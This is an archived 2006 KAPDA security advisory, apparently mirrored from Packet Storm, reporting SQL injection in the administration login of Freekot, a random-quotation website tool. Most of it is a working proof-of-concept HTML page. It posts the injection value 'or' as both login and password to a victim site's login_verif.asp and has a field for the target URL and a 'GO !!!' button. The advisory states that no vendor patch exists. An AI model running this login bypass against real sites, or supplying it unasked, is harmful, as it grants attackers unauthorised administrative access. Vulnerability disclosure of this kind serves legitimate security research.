kapda-56.txt

🗓️ 07 Sep 2006 00:00:00Reported by FarhadKeyType

packetstorm🔗 packetstormsecurity.com👁 25 Views

KAPDA New advisory about SQL Injection vulnerability in Freekot tool for website random quotation insertion and login bypass exploit

`KAPDA New advisory  
  
Vendor: http://www.digiappz.com  
Vulnerability: SQL_Injection  
  
Date :  
--------------------  
Found : Aug 10, 2006  
Vendor Contacted : N/A  
Release Date : Aug 30, 2006  
  
About Freekot :  
--------------------  
FREEKOT is a free tool which allows you to insert a random quotation system or a quote of the day in your website.  
  
Vulnerability:  
--------------------  
SQL_Injection:  
Input passed to the "login" and "password" parameters when logging into the administration section isn't properly sanitised before being used in a SQL query.  
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
PoC:  
--------------------  
save as html.  
  
<head><title>KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit </title></head>  
<body bgcolor="black">  
<script language="JavaScript">  
function egxpl() {  
if (document.xplt.victim.value=="") {  
alert("Please enter victim site!");  
return false;  
}  
if (confirm("Are you sure?")) {  
xplt.action=document.xplt.victim.value+"/login_verif.asp";  
xplt.login.value=document.xplt.login.value;  
xplt.password.value=document.xplt.password.value;  
xplt.submit();  
}  
}  
</script><font face=Verdana size=2 color="#00FF00"><center><b>KAPDA :: Freekot SQL-Injection Vulnerability<br>  
Discovered and coded by FarhadKey From KAPDA.IR<br>  
Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)<br></b>  
<form name="xplt" method="post" onsubmit="egxpl();">  
<br>Victim Path : (insert http:// for path)<br>  
<input type="text" name="victim" value="http://www.victim.com/FreeKot_Path/" size="44" class="xpl" style="color: #00FF00; background-color: #000000"><br>  
<input type="hidden" name="login" value="'or'">  
<input type="hidden" name="password" value="'or'"><br>  
<!-- Discovered and coded by FarhadKey . Kapda.ir -->  
<input type="submit" value="GO !!!" style="color: #00FF00; background-color: #000000">  
</form></body></html>  
  
Solution:  
--------------------  
No patch`s released yet by vendor.  
  
Original Advisory:  
--------------------  
http://www.kapda.ir/advisory-410.html  
  
Credit :  
--------------------  
FarhadKey of KAPDA  
farhadkey [at} kapda <d0t> ir  
Kapda - Security Science Researchers Insitute of Iran  
http://www.KAPDA.ir   
`

07 Sep 2006 00:00Current

7.4High risk

Vulners AI Score7.4